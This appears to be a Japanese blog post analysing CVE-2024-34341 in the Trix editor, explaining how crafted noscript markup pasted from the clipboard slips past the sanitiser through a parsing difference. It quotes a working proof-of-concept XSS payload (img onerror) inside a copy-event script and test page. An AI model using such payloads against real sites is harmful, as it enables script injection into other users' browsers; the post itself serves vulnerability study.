「CVE-2024-34341 XSS Vulnerabilities in Trix Editor」のnoscriptでXSSになる機序
を調べたので簡単にまとめます。
関連リンク
- Action Text の概要 - Railsガイド
- Ruby on Rails — Rails Versions 7.0.8.2, and 7.1.3.3 have been released!
- XSS Vulnerabilities in Trix Editor · Advisory · basecamp/trix
- Sanitize noscript to prevent copy and paste XSS by lewispb · Pull Request #1147 · basecamp/trix
そもそも Trix Editor とは
37signalsがOSSで開発していて、Webページ上で動くリッチテキストエディターのWebコンポーネント。Railsに同梱されていてRailsガイドの「Action Text の概要」に書いてあるのがまんまそれ。
以下のHTMLでTrix Editor単体で動かせる。
<head>
<link rel="stylesheet" type="text/css" href="https://unpkg.com/trix@2.0.8/dist/trix.css">
<script type="text/javascript" src="https://unpkg.com/trix@2.0.8/dist/trix.umd.min.js"></script>
</head>
<body>
<trix-editor></trix-editor>
</body>
コンポーネントがレンダリングされた結果が以下。
なかなかリッチ。便利コンポーネントだ。今度使おう。
CVE-2024-34341 XSS Vulnerabilities in Trix Editor
これに対応したRailsのリリースがそれぞれ 7.0.8.2, 7.1.3.3、Rails側は最新版の Trix を取り込んだだけのよう。
Trix リポジトリでアナウンスされた脆弱性情報がこちら。
2通りの脆弱性について修正しているのが読み取れる。
- Sanitize noscript to prevent copy and paste XSS #1147
- Sanitize HTML content in data-trix-* attributes #1149
noscriptタグの方
細工されたcopy内容をTrix EditorのコンポーネントにpasteすることによってXSSが発生する。レポートにあったサンプルコードをそのまま持ってきたのが以下。
document.addEventListener('copy', function(e){
e.clipboardData.setData('text/html', '<div><noscript><div class="123</noscript>456<img src=1 onerror=alert(1)//"></div></noscript></div>');
e.preventDefault();
});
MIMEタイプが text/html
だと Trix Editor が HTML として解釈して処理するのがミソなんだろう。これを試しみる。
<head>
<link rel="stylesheet" type="text/css" href="https://unpkg.com/trix@2.1.0/dist/trix.css">
<script type="text/javascript" src="https://unpkg.com/trix@2.1.0/dist/trix.umd.min.js"></script>
<script>
document.addEventListener('copy', function(e){
e.clipboardData.setData('text/html', '<div><noscript><div class="123</noscript>456<img src=1 onerror=alert(1)//"></div></noscript></div>');
e.preventDefault();
});
</script>
</head>
<body>
<div>copy_me!</div>
<trix-editor></trix-editor>
</body>
たしかに img タグの onerror が発動してしまう。
問題となるHTMLが以下で、なるほど noscript タグが悪さをするのだろう。
<div><noscript><div class="123</noscript>456<img src=1 onerror=alert(1)//"></div></noscript></div>
Trix側の対応としては DEFAULT_FORBIDDEN_ELEMENTS
に noscript を追加している。
しかし、なぜ上記のHTMLでimg要素が評価されるのかがここまでだとまたちょっと分からなかった。
いろいろ試す
まず Trix Editor にレンダリングされた内容を DevTools あたりで確認すると、
以下のように解釈されてほしいHTMLが、
<div>
<noscript>
<div class="123</noscript>456<img src=1 onerror=alert(1)//"></div>
</noscript>
</div>
こういう構造でレンダリングされていると読み取れる。
<div>
<div class="123456
<img src=1 onerror=alert(1)//">
</div>
noscriptタグが存在しない扱いっぽいような感じ class属性中に出てきたnoscript閉じタグでnoscriptタグが閉じて、かつnoscriptタグがただのtextノードに変わった構造に変化している。
普通の img タグを paste するとどうなるか。 paste する内容を以下にする。
e.clipboardData.setData('text/html', '<img src=1 onerror=alert(1)//">');
これであれば alert(1)
は実行されない。Trix Editorの修正ファイルが src/trix/models/html_sanitizer.js
ということもあり、サニタイズが効くのだろう。
DEFAULT_FORBIDDEN_ELEMENTS
がどう作用しているのかもみてみた。以下箇所に DevTools で breakpoint を置いてみたところ、
解釈されてほしい構造で処理されているように見える(レンダリングされる構造と異なっている)。ので img タグが img タグとしてサニタイズ処理されないことが確認できた。
次に入力されたHTML文字列をどうパースしているのかを追いかける。 ここでツリーが作成されている。
.innerHTML
に突っ込むことでパースしている。賢い。
ここで試しに以下コードを DevTools のコンソールで確認してみた。
div = document.createElement('div');
div.innerHTML = '<div><noscript><div class="123</noscript>456<img src=1 onerror=alert(1)//"></div></noscript></div>';
実行した瞬間に alert(1) が発動するし、 noscript タグがガッツリ解釈されている。
これは Trix Editor でレンダリングされる構造と近しき構造になっていると分かった。
Trix Editor の実装の方を見返してみると、
const doc = document.implementation.createHTMLDocument("")
doc.documentElement.innerHTML = html
となっている。これも DevTools で試す。
doc = document.implementation.createHTMLDocument("");
doc.documentElement.innerHTML = '<div><noscript><div class="123</noscript>456<img src=1 onerror=alert(1)//"></div></noscript></div>';
サニタイズの処理順と同じ構造が出てきた。
解釈したこと
こういう機序と解釈した。
- 細工されたnoscriptタグがあることで、サニタイズする時のHTML構造とレンダリングする時のHTML構造に差異が生じる
- その差異によってサニタイズ漏れが発生し XSS が可能となった
分かっていないこと
- noscript 閉じタグの扱い、この攻撃例でいう class 属性値の中に出現した場合に異なるパース結果が発生しているがどれが正しい振る舞いなのか
-
document.implementation.createHTMLDocument("").documentElement.innerHTML
でパースするのとdocument.createElement("div").innerHTML
でパースするので結果に差異が発生する理由
まじで分からん。これ知っている方いたら教えてください。
一言感想
XSS の攻撃パターンの一つとして noscript があることが分かった。HTMLの解釈やパース結果に差異を生じさせるパターンを色々調べてみたいな。
Discussion